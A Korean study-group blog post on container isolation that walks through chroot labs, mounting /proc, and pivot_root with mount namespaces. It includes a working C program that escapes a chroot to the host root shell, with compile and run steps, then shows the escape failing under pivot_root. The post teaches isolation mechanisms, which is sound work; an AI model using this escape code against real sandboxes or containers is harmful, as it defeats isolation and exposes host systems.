본문 바로가기
스터디 이야기/Kubernetes Advanced Networking Study

[KANS] 컨테이너 격리 - 1. chroot, pivot_root, mount namespace

by lakescript 2024. 8. 29.
더보기

이 스터디는 CloudNet@에서 진행하는 KANS 스터디를 참여하면서 공부하는 내용을 기록하는 블로그 포스팅입니다.

CloudNet@에서 제공해주는 자료들을 바탕으로 작성되었습니다.

 

컨테이너 격리

컨테이너 격리의 역사

https://tech.kakaoenterprise.com/154

chroot

chroot는 change root의 약자의 명령어입니다. 특정 프로세스와 그 하위 프로세스들의 루트 디렉터리(/)를 시스템의 다른 디렉터리로 변경하는 기능을 제공합니다. 다시말해 user 디렉터리를 user 프로세스에게 최상위 디렉토리인 root 디렉터리를 속여서 접근이 가능하도록 합니다. (탈옥이 가능하여 현재는 사용하지 않습니다.)

즉, chroot는 경로를 모아서 패키징하고 새로운 경로에 가둬서 실행(격리)하는 명령어입니다.

chroot 실습 - sh, ls

해당 실습은 터미널을 2개 띄어 하나는 user, 하나는 root로 접근하여 확인하며 실습을 진행하겠습니다.

 

[터미널1] 관리자 전환

sudo su -

 

최상위 디렉토리 확인

ls -l /

 

최상위 디렉토리를 먼저 확인합니다.

 

/tmp 디렉토리 이동

cd /tmp

 

myroot 디렉토리 생성

mkdir myroot

 

chroot 명령어 사용하여 myroot 디렉토리를 root로 만들어 shell 접속하기

# chroot 사용법 : [옵션] + NEW_ROOT_DIR + [커맨드]
chroot myroot /bin/sh

chroot명령어는 chroot에 신규로 root로 인식하게 할 Directory를 뒤에 붙여주고 실행할 shell을 넣어줍니다. 즉, myroot 디렉터리를 새로운 루트 디렉터리로 설정한 후 그 환경에서 셸을 실행하는 명령어입니다.

현재는 /bin/sh가 없다고 결과를 반환 받게 됩니다.

 

tree 명령어를 통해 myroot 구조 확인

tree 명령어를 통해 살펴보면 현재 myroot는 빈 Directory인 것을 확인할 수 있습니다. 그렇기 때문에 위에서 실행한 /bin/sh가 실행이 안된 것인데요.

 

sh가 어디에 있는지 확인

which sh

which 명령어를 통해 shell이 어디 디렉토리에 있는지 확인해보겠습니다.

/usr/bin 디렉토리에 있는 것을 확인할 수 있습니다. (Ubuntu 18.04 에서는 /bin/sh에 있습니다. 실습에는 22.04 사용중)

 

sh의 의존성 확인

ldd /bin/sh

의존성을 맺고 있는 것들을 통채로 옮겨줘야 작동하기에 ldd 명령어를 통해 sh는 어떤 의존성을 갖고 있는지 확인해보겠습니다. 

libc.so.6과 /lib64/id-linux-x86-64.so.2가 필요하네요.

 

sh가 의존성을 띄는 바이러리 파일과 라이브러리 파일 복사

mkdir -p myroot/bin

먼저 myroot 디렉토리 안에 bin 디렉토리를 생성합니다.

cp /usr/bin/sh myroot/bin/
mkdir -p myroot/{lib64,lib/x86_64-linux-gnu}

cp /lib/x86_64-linux-gnu/libc.so.6 myroot/lib/x86_64-linux-gnu/
cp /lib64/ld-linux-x86-64.so.2 myroot/lib64

위에서 확인했던 의존성있는 파일들을 myroot/bin Directory에 옮겨줍니다.

chroot 명령어 사용하여 myroot 디렉토리를 root로 만들어 shell 접속하기

chroot myroot /bin/sh

위에서 실패했던 chroot 명령어를 다시 시도합니다.

이번엔 정상적으로 설정이 되었고 프롬프트도 root를 가리키는 #으로 변경되었습니다.

 

ls 명령어로 현재 파일 목록 확인

ls

 

ls 명령어를 통해 현재 파일 목록을 확인합니다.

ls 명령어를 찾을 수 없다고 하는데요. 

아까 위에서 살펴봤던 myroot/bit에서 ls가 없어서 실행이 안된 것을 확인할 수 있습니다.

 

root 사용자 종료

exit

root권한에서 종료합니다.

 

ls가 어디에 있는지 확인

which ls

위에서 진행했던 것 처럼 ls가 어느 디렉토리에 있는지 확인해보겠습니다.

ls의 의존성 확인

ldd /usr/bin/ls

위에서 sh의 의존성을 확인하기 위해 실행했던 명령어인 ldd를 통해 ls의 의존성을 확인해보겠습니다.

/lib/x86_64-linux-gnu/libselinux.so.1, libc.so.6, libpcre2-8.so.0, /lib64/ld-linux-x86-64.so.2가 의존성으로 설정되어있는 것을 확인할 수 있습니다.

 

ls가 의존성을 띄는 바이러리 파일과 라이브러리 파일 복사

cp /usr/bin/ls myroot/bin/
cp /lib/x86_64-linux-gnu/{libselinux.so.1,libc.so.6,libpcre2-8.so.0} myroot/lib/x86_64-linux-gnu/
cp /lib64/ld-linux-x86-64.so.2 myroot/lib64

 

tree 명령어를 통해 myroot의 구조를 살펴보면 /bin/ls와 함께 의존성들이 복사된 것을 확인할 수 있습니다.

chroot 명령어 사용하여 myroot 디렉토리를 root로 만들어 shell 접속하기

chroot myroot /bin/sh

다시 chroot 명령어를 통해 myroot 디렉터리를 새로운 루트 디렉터리로 설정한 후 그 환경에서 shell을 실행합니다.

ls 명령어를 입력하면 정상적으로 현재 파일 목록이 조회됩니다.

 

root 경로에서 탈출 가능한지 확인

현재 / (root) 경로에 있는 상태입니다. 하지만 이건 어디까지나 myroot를 root 디렉토리로 설정한 후 재설정된 경로이기 때문에 원래의 root 경로는 아래와 같습니다.

 

그럼 현재는 myroot를 새롭게 root 디렉토리로 삼았는데, 여기서 상위 디렉토리로 이동하면 어떻게 될까요?

 

ls 명령어를 통해 현재 디렉토리에 어떤 파일들이 있는지 조회한 후 cd 명령어를 통해 여러번의 상위 디렉토리로 이동하였는데 다시 ls 명령어를 실행해보면 이동되지 않은 것을 확인하실 수 있습니다.

 

chroot 실습 - ps

그러면 이제 실행중인 process의 정보를 볼 수 있는 ps 명령어도 실행해보겠습니다.

 

ps 명령어 실행

위에서 계속 설정해줬던 것과 마찬가지로 ps 디렉토리를 찾을 수 없다고 합니다.

 

ps 디렉토리 위치 확인

which ps

chroot 명령어로 실행한 root 쉘을 종료하고 ps 디렉토리의 위치를 확인합니다.

 

ps 디렉토리의 의존성 확인

ldd /usr/bin/ps

 

ps가 의존성을 띄는 바이러리 파일과 라이브러리 파일 복사

#ps
cp /usr/bin/ps /tmp/myroot/bin/;
cp /lib/x86_64-linux-gnu/{libprocps.so.8,libc.so.6,libsystemd.so.0,liblzma.so.5,libgcrypt.so.20,libgpg-error.so.0,libzstd.so.1,libcap.so.2} /tmp/myroot/lib/x86_64-linux-gnu/;
mkdir -p /tmp/myroot/usr/lib/x86_64-linux-gnu;
cp /usr/lib/x86_64-linux-gnu/liblz4.so.1 /tmp/myroot/usr/lib/x86_64-linux-gnu/;
cp /lib64/ld-linux-x86-64.so.2 /tmp/myroot/lib64/;

#mount
cp /usr/bin/mount /tmp/myroot/bin/;
cp /lib/x86_64-linux-gnu/{libmount.so.1,libc.so.6,libblkid.so.1,libselinux.so.1,libpcre2-8.so.0} /tmp/myroot/lib/x86_64-linux-gnu/;
cp /lib64/ld-linux-x86-64.so.2 /tmp/myroot/lib64/;

#mkdir
cp /usr/bin/mkdir /tmp/myroot/bin/;
cp /lib/x86_64-linux-gnu/{libselinux.so.1,libc.so.6,libpcre2-8.so.0} /tmp/myroot/lib/x86_64-linux-gnu/;
cp /lib64/ld-linux-x86-64.so.2 /tmp/myroot/lib64/;

ps가 의존성을 띄는 바이너리 및 라이브러리 파일을 복사하면서 mount와 mkdir의 의존성을 띄는 바이너리 및 라이브러리 파일도 복사합니다.

 

 

chroot 명령어 사용하여 myroot 디렉토리를 root로 만들어 shell 접속하기

chroot myroot /bin/sh

 

ps 명령어 실행

이번엔 ps 디렉토리와 의존성을 전부 넣어주었으니, ps 명령어를 통해 실행중인 process 확인해보겠습니다.

 

이번엔 Error가 발생합니다. 

 

Error 문구를 확인해보면 저번 글에서 보았었던 amazing directory인 /proc가 없어서 실행할 수 없다고 합니다.

 

일반 유저로 접속한 쉘에서 마운트 정보 확인

findmnt -a

 

chroot 명령어를 통해 root로 새롭게 지정하여 접근한 쉘이 아니라 일반 유저로 host에 접속한 쉘에서 findmnt 명령어를 통해 마운트된 디렉토리를 확인해보겠습니다.

 

/proc가 mount되어 있기 때문에 ps 명령어를 실행했을 때 mount된 경로에서 확인할 수 있었습니다. 하지만 chroot로 접근한 쉘에서는 해당 mount 작업을 해주지 않았기 때문에 동작하지 않았습니다.

mount | grep proc

host에서는 proc가 mount 되어 있기 때문에 ps 명령어가 실행되고 있습니다.

 

/proc mount

mount -t proc proc /proc

 

다시 chroot로 접근한 쉘에서 mount 명령어를 통해 /proc를 mount 해줍니다.

하지만 이번엔 /proc 경로가 없다고 나오는데요. mkdir 명령어를 통해 /proc를 생성한 뒤 다시 실행합니다.

 

ps 명령어 실행

ps

이제 다시 ps 명령어를 실행해주면 아래와 같이 정상적으로 실행되는 것을 확인하실 수 있습니다.

 

 

chroot를 통해 root 디렉토리 탈옥하기

탈옥 코드

#include <sys/stat.h>
#include <unistd.h>

int main(void)
{
  mkdir(".out", 0755);
  chroot(".out");
  chdir("../../../../../");
  chroot(".");

  return execl("/bin/sh", "-i", NULL);
}

 

myroot 경로에 컴파일

gcc -o myroot/escape_chroot escape_chroot.c

myroot 하위에 위의 탈옥 관련 코드를 gcc 컴파일러를 통해 컴파일합니다.

 

 

chroot 명령어 사용하여 myroot 디렉토리를 root로 만들어 shell 접속하기

chroot myroot /bin/sh

 

ls, cd 명령어를 통해 디렉토리  조회 및 이동

ls /
cd ../../
cd ../../
ls

ls 명령어를 통해 /경로의 파일들을 조회해보고, cd로 상위 디렉토리로 이동한 후 다시 ls로 확인해보겠습니다.

host의 root 디렉토리까지는 접근하지 못하는 것을 확인하실 수 있습니다.

 

탈옥 파일 실행

./escape_chroot

 

 

ls 명령어를 통해 root 디렉토리  조회

 

탈옥 파일을 실행한 후 ls 명령어를 통해 /(root) 경로를 확인해보면 위와 같이 host에서 root 경로를 조회했을 때와 같은 파일목록을 확인하실 수 있습니다.

 

container가 탈옥이 된다면?

chroot를 통해 경로를 모아서 패키징하고 새로운 경로에 가둬서 실행(격리)하면 컨테이너처럼 보이긴 하지만 위에 예제처럼 탈옥이 가능하여 host의 root가 탈취당하게 됩니다. 이러면 보안에 매우 취약하게 되는데요. 그렇기 때문에 chroot는 container의 기본 메커니즘에서 사용할 수 없게 됩니다. 그래서 채택된 메커니즘이 pivot_rootmount namspace 입니다.

 

pivot_root + mount namespace

https://tech.kakaoenterprise.com/154

chroot를 차단하기 위해, pivot_root와 mount namespace 사용하여 root 파일 시스템을 변경하고, 프로세스 환경을 호스트로부터 격리하는 방법을 적용합니다. 이를 통해서 시스템 내에서 보다 안전한 파일 시스템 격리와 독립적인 프로세스 환경을 구현할 수 있습니다.

mount namspace

https://tech.kakaoenterprise.com/154

mount namespace는 특정 프로세스 그룹이 filesystem mount 포인트를 독립적으로 관리할 수 있게 하며, 각 namespace는 다른 namespace와 mount 상태를 공유하지 않기 때문에, 격리된 파일 시스템 환경을 만들 수 있습니다. 즉, host 시스템에 영향을 주지 않고, 독립된 파일 시스템 구조를 가질 수 있습니다.

 

pivot_root

https://wizardzines.com/comics/pivot-root/

pivot_root는 process의 root 루트 파일 시스템을 변경하는 데 사용되는데, chroot와 유사하게 root 디렉터리를 바꿔주지만, 기존의 root 파일 시스템을 다른 위치로 옮기고, 새로운 root 파일 시스템을 설정하는 역할을 합니다.

 

즉, pivot_root는 기존의 root filesystem을 새로운 위치로 이동시키고, 새로운 root filesystem을 루트로 설정하여 두 파일 시스템 간의 루트 디렉토리를 전환합니다.

pivot_root + mount namspace 실습

unshare 명령어를 통해 새로운 namespace 생성

먼저 mount namspace에 대한 설정을 진행하겠습니다.

# unshare 명령어 사용법
unshare [options] [program] [arguments]]

 

unshare 명령어를 통해 새로운 네임스페이스를 만듭니다.

unshare --mount /bin/sh

 

df -h를 통해 사용중인 filesystem 확인

부모 네임스페이스의 mount 정보와 자식 네임스페이스의 mount정보가 같습니다. 왜냐하면 mount unshare 시 부모 프로세스의 마운트 정보를 복사해서 자식 네임스페이스를 생성하여 처음은 동일하기 때문입니다.

 

자식 namespace에서 새로운 directory 생성

mkdir new_root

 

tmpfs filesystem을 new_root 디렉토리에 mount

# mount 명령어 사용법
mount -t [filesystem type] [device_name] [directory - mount point]
## root filesystem tree에 다른 파일시스템을 붙이는 명령
## -t : filesystem type  ex) -t tmpfs  (temporary filesystem : 임시로 메모리에 생성됨)               
## -o  : 옵션  ex) -o size=1m  (용량 지정 등 …)

 

mount 명령어는 root filesystem tree에 다른 파일시스템을 붙이는 명령어로, 데이터를 메모리에 저장하고 시스템 재부팅 시 데이터를 유지하지 않는 환경을 만들 수 있게 합니다.

mount -t tmpfs none new_root

 

new_root 디렉토리에 메모리 기반의 임시 파일 시스템(tmpfs)을 mount합니다.

 

df -h를 통해 사용중인 filesystem 확인

df -h

 

위에서 mount를 했기 때문에 아래의 사진처럼 none이라는 filesystem이 확인됩니다.

 

 

pivot_root 실행을 위한 디렉토리 생성

위에서 mount namespace를 통해 namespace간 filesystem 격리하는 것까지 실습해보았습니다. 그럼 이제 pivot_root를 통해 root도 격리해보도록 하겠습니다. 

mkdir new_root/put_old_root

 

먼저 new_root 경로안에 put_old_root 디렉토리를 생성합니다.

 

pivot_root 명령어를 통해 root 격리

# pivot_root 명령어 사용법
pivot_root [new-root] [old-root]

 

cd new_root

먼저, new_root 경로로 이동합니다.

pivot_root . put_old_root

사용법은 정말 간단한데요. 위의 명령어처럼 pivot_root 명령어를 통해 현재 경로에 기존 root를 넣어줍니다. pivot_root 는 실행 시, 변경될 root 파일시스템 경로로 진입하게 됩니다.

 

pivot_root로 설정된 새로운 root filesystem 확인

cd /

새롭게 접근한 root filesystem 에서 / 경로로 이동합니다. 

ls -l

root 경로에서 파일 목록을 출력해보겠습니다.

 

탈옥 실행

./escape_chroot

 

위의 실습에서 진행했던 탈옥 컴파일 파일을 실행해보겠습니다.

cd ../../../

 

그 후 cd 명령어를 통해 여러번에 걸쳐 상위 디렉토리로 이동해보겠습니다.

ls 명령어를 통해 현재 경로와 / 경로의 파일 목록을 출력해봐도 절대 상위 경로로 이동하지 않습니다. 즉, 부모 namespace의 root 경로로 이동하지 못합니다. -> 탈옥 실패!